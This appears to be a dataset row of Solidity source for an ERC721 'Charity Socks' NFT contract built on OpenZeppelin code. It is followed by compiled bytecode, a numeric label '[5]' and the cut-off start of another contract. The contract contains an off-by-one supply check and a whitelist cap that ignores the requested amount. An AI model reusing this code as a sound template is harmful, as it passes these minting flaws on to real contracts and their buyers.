// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/Socks.sol
pragma solidity ^0.8.7;
// interfaces for ENS resolving
interface ENS {
function resolver(bytes32 node) external view returns (Resolver);
}
interface Resolver {
function addr(bytes32 node) external view returns (address);
}
contract Socks is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
using Address for address;
uint256 public constant PRICE = 0.01 ether; // price is 0.01 ether.
uint256 public constant MAX_SUPPLY = 2500;
uint256 public constant WHITELIST_SUPPLY = 1500;
// this is the ENS name hash of "socks.basicneeds.eth"
bytes32 public immutable namehash;
// keeps track of the current total supply.
uint256 public totalSupply;
// the max supply - set after
uint256 public maxSupply = MAX_SUPPLY;
// the base uri for the token
string public baseURI;
// the citizen contract
address private _citizenContract;
uint private _whitelistMinted;
bool public revealed = false;
// the ens service
ENS private ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
enum MintState {
PUBLIC,
WHITELIST,
CLOSED
}
// the state of whether minting is allowed.
MintState private mintingState = MintState.CLOSED;
constructor(bytes32 _namehash) ERC721("Charity Socks", "SOCKS") {
namehash = _namehash;
}
// owner can only reveal socks, they cannot
function reveal() external onlyOwner {
revealed = true;
}
function setCitizenContract(address addr) external onlyOwner {
require(addr.isContract(), "address isn't a contract.");
_citizenContract = addr;
}
function setBaseURI(string calldata _uri) external onlyOwner {
baseURI = _uri;
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
// double ternary op because i like to watch the wolrd burn
return revealed ? (bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json"))
: "") : string(abi.encodePacked(baseURI));
}
modifier mintOpen() {
require(mintingState != MintState.CLOSED, "minting not active.");
_;
}
modifier whitelistOnly() {
require(mintingState == MintState.WHITELIST);
_;
}
function ownerMint(uint256 amount) external onlyOwner {
// ensure minting the amount entered would not mint over the max supply
require(
totalSupply + amount < uint256(maxSupply),
"mint amount would be out of range."
);
for (uint256 i = totalSupply; i < totalSupply + amount; ++i) {
_safeMint(_msgSender(), i + 1);
}
totalSupply += amount;
}
function mint(uint256 amount) external payable nonReentrant mintOpen {
if (mintingState == MintState.WHITELIST) {
require(
ERC721(_citizenContract).balanceOf(_msgSender()) >= 1,
"not a citizen!"
);
require(_whitelistMinted < 1500, "whitelist sold out!");
}
// ensure minting the amount entered would not mint over the max supply
require(
totalSupply + amount < uint256(maxSupply),
"mint amount would be out of range."
);
// ensure enough ether was sent - don't allow for overpayment
require(msg.value == amount * PRICE, "not enough ether sent");
_mint(amount, mintingState == MintState.WHITELIST);
}
function _mint(uint256 amount, bool whitelisted) private {
Resolver resolver = ens.resolver(namehash);
// send the ether received to the deposit address
require(payable(resolver.addr(namehash)).send(msg.value), "transfer failed");
for (uint256 i = totalSupply; i < totalSupply + amount; ++i) {
_safeMint(_msgSender(), i + 1);
}
totalSupply += amount;
if (whitelisted) {
_whitelistMinted += amount;
}
}
// toggles the state of mint
function setMintingState(MintState state) external onlyOwner {
mintingState = state;
}
} | 0x6080604052600436106101cd5760003560e01c806382b1168d116100f7578063a475b5dd11610095578063e985e9c511610064578063e985e9c5146104f7578063f19e75d414610540578063f2fde38b14610560578063fd52bd761461058057600080fd5b8063a475b5dd1461048c578063b88d4fde146104a1578063c87b56dd146104c1578063d5abeb01146104e157600080fd5b806391a08a48116100d157806391a08a481461041057806395d89b4114610444578063a0712d6814610459578063a22cb4651461046c57600080fd5b806382b1168d146103b75780638d859f3e146103d75780638da5cb5b146103f257600080fd5b806342842e0e1161016f5780636c0360eb1161013e5780636c0360eb146103575780636e56539b1461036c57806370a0823114610382578063715018a6146103a257600080fd5b806342842e0e146102dd57806351830227146102fd57806355f804b3146103175780636352211e1461033757600080fd5b8063095ea7b3116101ab578063095ea7b31461026157806318160ddd1461028357806323b872dd146102a757806332cb6b0c146102c757600080fd5b806301ffc9a7146101d257806306fdde0314610207578063081812fc14610229575b600080fd5b3480156101de57600080fd5b506101f26101ed366004611d97565b6105a0565b60405190151581526020015b60405180910390f35b34801561021357600080fd5b5061021c6105f2565b6040516101fe9190611fda565b34801561023557600080fd5b50610249610244366004611e64565b610684565b6040516001600160a01b0390911681526020016101fe565b34801561026d57600080fd5b5061028161027c366004611d6b565b61071e565b005b34801561028f57600080fd5b5061029960085481565b6040519081526020016101fe565b3480156102b357600080fd5b506102816102c2366004611c17565b610834565b3480156102d357600080fd5b506102996109c481565b3480156102e957600080fd5b506102816102f8366004611c17565b610865565b34801561030957600080fd5b50600d546101f29060ff1681565b34801561032357600080fd5b50610281610332366004611df2565b610880565b34801561034357600080fd5b50610249610352366004611e64565b6108b6565b34801561036357600080fd5b5061021c61092d565b34801561037857600080fd5b506102996105dc81565b34801561038e57600080fd5b5061029961039d366004611b9d565b6109bb565b3480156103ae57600080fd5b50610281610a42565b3480156103c357600080fd5b506102816103d2366004611b9d565b610a78565b3480156103e357600080fd5b50610299662386f26fc1000081565b3480156103fe57600080fd5b506006546001600160a01b0316610249565b34801561041c57600080fd5b506102997f957ba7aed537afeb774262b453c7da782e4d721bd5f5caa3c022631eaf878a4c81565b34801561045057600080fd5b5061021c610b1b565b610281610467366004611e64565b610b2a565b34801561047857600080fd5b50610281610487366004611d38565b610dd7565b34801561049857600080fd5b50610281610de6565b3480156104ad57600080fd5b506102816104bc366004611c58565b610e1f565b3480156104cd57600080fd5b5061021c6104dc366004611e64565b610e57565b3480156104ed57600080fd5b5061029960095481565b34801561050357600080fd5b506101f2610512366004611bde565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561054c57600080fd5b5061028161055b366004611e64565b610f62565b34801561056c57600080fd5b5061028161057b366004611b9d565b611013565b34801561058c57600080fd5b5061028161059b366004611dd1565b6110ae565b60006001600160e01b031982166380ac58cd60e01b14806105d157506001600160e01b03198216635b5e139f60e01b145b806105ec57506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606000805461060190612195565b80601f016020809104026020016040519081016040528092919081815260200182805461062d90612195565b801561067a5780601f1061064f5761010080835404028352916020019161067a565b820191906000526020600020905b81548152906001019060200180831161065d57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107025760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610729826108b6565b9050806001600160a01b0316836001600160a01b031614156107975760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106f9565b336001600160a01b03821614806107b357506107b38133610512565b6108255760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106f9565b61082f8383611105565b505050565b61083e3382611173565b61085a5760405162461bcd60e51b81526004016106f9906120b6565b61082f83838361126a565b61082f83838360405180602001604052806000815250610e1f565b6006546001600160a01b031633146108aa5760405162461bcd60e51b81526004016106f990612081565b61082f600a8383611b04565b6000818152600260205260408120546001600160a01b0316806105ec5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106f9565b600a805461093a90612195565b80601f016020809104026020016040519081016040528092919081815260200182805461096690612195565b80156109b35780601f10610988576101008083540402835291602001916109b3565b820191906000526020600020905b81548152906001019060200180831161099657829003601f168201915b505050505081565b60006001600160a01b038216610a265760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106f9565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016106f990612081565b610a76600061140a565b565b6006546001600160a01b03163314610aa25760405162461bcd60e51b81526004016106f990612081565b6001600160a01b0381163b610af95760405162461bcd60e51b815260206004820152601960248201527f616464726573732069736e2774206120636f6e74726163742e0000000000000060448201526064016106f9565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60606001805461060190612195565b60026007541415610b7d5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106f9565b60026007819055600d54600160a81b900460ff166002811115610ba257610ba261222b565b1415610be65760405162461bcd60e51b815260206004820152601360248201527236b4b73a34b733903737ba1030b1ba34bb329760691b60448201526064016106f9565b6001600d54600160a81b900460ff166002811115610c0657610c0661222b565b1415610d2057600b546001906001600160a01b03166370a08231336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015610c6057600080fd5b505afa158015610c74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c989190611e7d565b1015610cd75760405162461bcd60e51b815260206004820152600e60248201526d6e6f74206120636974697a656e2160901b60448201526064016106f9565b6105dc600c5410610d205760405162461bcd60e51b815260206004820152601360248201527277686974656c69737420736f6c64206f75742160681b60448201526064016106f9565b60095481600854610d319190612107565b10610d4e5760405162461bcd60e51b81526004016106f990611fed565b610d5f662386f26fc1000082612133565b3414610da55760405162461bcd60e51b81526020600482015260156024820152741b9bdd08195b9bdd59da08195d1a195c881cd95b9d605a1b60448201526064016106f9565b610dcf816001600d54600160a81b900460ff166002811115610dc957610dc961222b565b1461145c565b506001600755565b610de2338383611668565b5050565b6006546001600160a01b03163314610e105760405162461bcd60e51b81526004016106f990612081565b600d805460ff19166001179055565b610e293383611173565b610e455760405162461bcd60e51b81526004016106f9906120b6565b610e5184848484611737565b50505050565b6000818152600260205260409020546060906001600160a01b0316610ed65760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106f9565b600d5460ff16610f0657600a604051602001610ef29190611f5c565b6040516020818303038152906040526105ec565b6000600a8054610f1590612195565b905011610f3157604051806020016040528060008152506105ec565b600a610f3c8361176a565b604051602001610f4d929190611f68565b60405160208183030381529060405292915050565b6006546001600160a01b03163314610f8c5760405162461bcd60e51b81526004016106f990612081565b60095481600854610f9d9190612107565b10610fba5760405162461bcd60e51b81526004016106f990611fed565b6008545b81600854610fcc9190612107565b811015610ff857610fe8335b610fe3836001612107565b611868565b610ff1816121d0565b9050610fbe565b50806008600082825461100b9190612107565b909155505050565b6006546001600160a01b0316331461103d5760405162461bcd60e51b81526004016106f990612081565b6001600160a01b0381166110a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f9565b6110ab8161140a565b50565b6006546001600160a01b031633146110d85760405162461bcd60e51b81526004016106f990612081565b600d805482919060ff60a81b1916600160a81b8360028111156110fd576110fd61222b565b021790555050565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061113a826108b6565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166111ec5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106f9565b60006111f7836108b6565b9050806001600160a01b0316846001600160a01b031614806112325750836001600160a01b031661122784610684565b6001600160a01b0316145b8061126257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661127d826108b6565b6001600160a01b0316146112e55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106f9565b6001600160a01b0382166113475760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106f9565b611352600082611105565b6001600160a01b038316600090815260036020526040812080546001929061137b908490612152565b90915550506001600160a01b03821660009081526003602052604081208054600192906113a9908490612107565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600d54604051630178b8bf60e01b81527f957ba7aed537afeb774262b453c7da782e4d721bd5f5caa3c022631eaf878a4c600482015260009161010090046001600160a01b031690630178b8bf9060240160206040518083038186803b1580156114c557600080fd5b505afa1580156114d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fd9190611bc1565b604051631d9dabef60e11b81527f957ba7aed537afeb774262b453c7da782e4d721bd5f5caa3c022631eaf878a4c60048201529091506001600160a01b03821690633b3b57de9060240160206040518083038186803b15801561155f57600080fd5b505afa158015611573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115979190611bc1565b6001600160a01b03166108fc349081150290604051600060405180830381858888f193505050506115fc5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016106f9565b6008545b8360085461160e9190612107565b81101561162e5761161e33610fd8565b611627816121d0565b9050611600565b5082600860008282546116419190612107565b9091555050811561082f5782600c600082825461165e9190612107565b9091555050505050565b816001600160a01b0316836001600160a01b031614156116ca5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106f9565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61174284848461126a565b61174e84848484611882565b610e515760405162461bcd60e51b81526004016106f99061202f565b60608161178e5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156117b857806117a2816121d0565b91506117b19050600a8361211f565b9150611792565b60008167ffffffffffffffff8111156117d3576117d3612257565b6040519080825280601f01601f1916602001820160405280156117fd576020820181803683370190505b5090505b841561126257611812600183612152565b915061181f600a866121eb565b61182a906030612107565b60f81b81838151811061183f5761183f612241565b60200101906001600160f81b031916908160001a905350611861600a8661211f565b9450611801565b610de282826040518060200160405280600081525061198f565b60006001600160a01b0384163b1561198457604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118c6903390899088908890600401611f9d565b602060405180830381600087803b1580156118e057600080fd5b505af1925050508015611910575060408051601f3d908101601f1916820190925261190d91810190611db4565b60015b61196a573d80801561193e576040519150601f19603f3d011682016040523d82523d6000602084013e611943565b606091505b5080516119625760405162461bcd60e51b81526004016106f99061202f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611262565b506001949350505050565b61199983836119c2565b6119a66000848484611882565b61082f5760405162461bcd60e51b81526004016106f99061202f565b6001600160a01b038216611a185760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106f9565b6000818152600260205260409020546001600160a01b031615611a7d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106f9565b6001600160a01b0382166000908152600360205260408120805460019290611aa6908490612107565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611b1090612195565b90600052602060002090601f016020900481019282611b325760008555611b78565b82601f10611b4b5782800160ff19823516178555611b78565b82800160010185558215611b78579182015b82811115611b78578235825591602001919060010190611b5d565b50611b84929150611b88565b5090565b5b80821115611b845760008155600101611b89565b600060208284031215611baf57600080fd5b8135611bba8161226d565b9392505050565b600060208284031215611bd357600080fd5b8151611bba8161226d565b60008060408385031215611bf157600080fd5b8235611bfc8161226d565b91506020830135611c0c8161226d565b809150509250929050565b600080600060608486031215611c2c57600080fd5b8335611c378161226d565b92506020840135611c478161226d565b929592945050506040919091013590565b60008060008060808587031215611c6e57600080fd5b8435611c798161226d565b93506020850135611c898161226d565b925060408501359150606085013567ffffffffffffffff80821115611cad57600080fd5b818701915087601f830112611cc157600080fd5b813581811115611cd357611cd3612257565b604051601f8201601f19908116603f01168101908382118183101715611cfb57611cfb612257565b816040528281528a6020848701011115611d1457600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611d4b57600080fd5b8235611d568161226d565b915060208301358015158114611c0c57600080fd5b60008060408385031215611d7e57600080fd5b8235611d898161226d565b946020939093013593505050565b600060208284031215611da957600080fd5b8135611bba81612282565b600060208284031215611dc657600080fd5b8151611bba81612282565b600060208284031215611de357600080fd5b813560038110611bba57600080fd5b60008060208385031215611e0557600080fd5b823567ffffffffffffffff80821115611e1d57600080fd5b818501915085601f830112611e3157600080fd5b813581811115611e4057600080fd5b866020828501011115611e5257600080fd5b60209290920196919550909350505050565b600060208284031215611e7657600080fd5b5035919050565b600060208284031215611e8f57600080fd5b5051919050565b60008151808452611eae816020860160208601612169565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680611edc57607f831692505b6020808410821415611efe57634e487b7160e01b600052602260045260246000fd5b818015611f125760018114611f2357611f50565b60ff19861689528489019650611f50565b60008881526020902060005b86811015611f485781548b820152908501908301611f2f565b505084890196505b50505050505092915050565b6000611bba8284611ec2565b6000611f748285611ec2565b8351611f84818360208801612169565b64173539b7b760d91b9101908152600501949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611fd090830184611e96565b9695505050505050565b602081526000611bba6020830184611e96565b60208082526022908201527f6d696e7420616d6f756e7420776f756c64206265206f7574206f662072616e67604082015261329760f11b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561211a5761211a6121ff565b500190565b60008261212e5761212e612215565b500490565b600081600019048311821515161561214d5761214d6121ff565b500290565b600082821015612164576121646121ff565b500390565b60005b8381101561218457818101518382015260200161216c565b83811115610e515750506000910152565b600181811c908216806121a957607f821691505b602082108114156121ca57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156121e4576121e46121ff565b5060010190565b6000826121fa576121fa612215565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146110ab57600080fd5b6001600160e01b0319811681146110ab57600080fdfea2646970667358221220457888f7745f956b659dc29cba288b9951da4f2cacbef244ac65788045b673b664736f6c63430008070033 | [
5
] |
0xf3511f8f5f6bb9a2ebb5e311fe82e796c626a091 | /**
*Submitted for verification at Etherscan.io on 2021-11-02
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
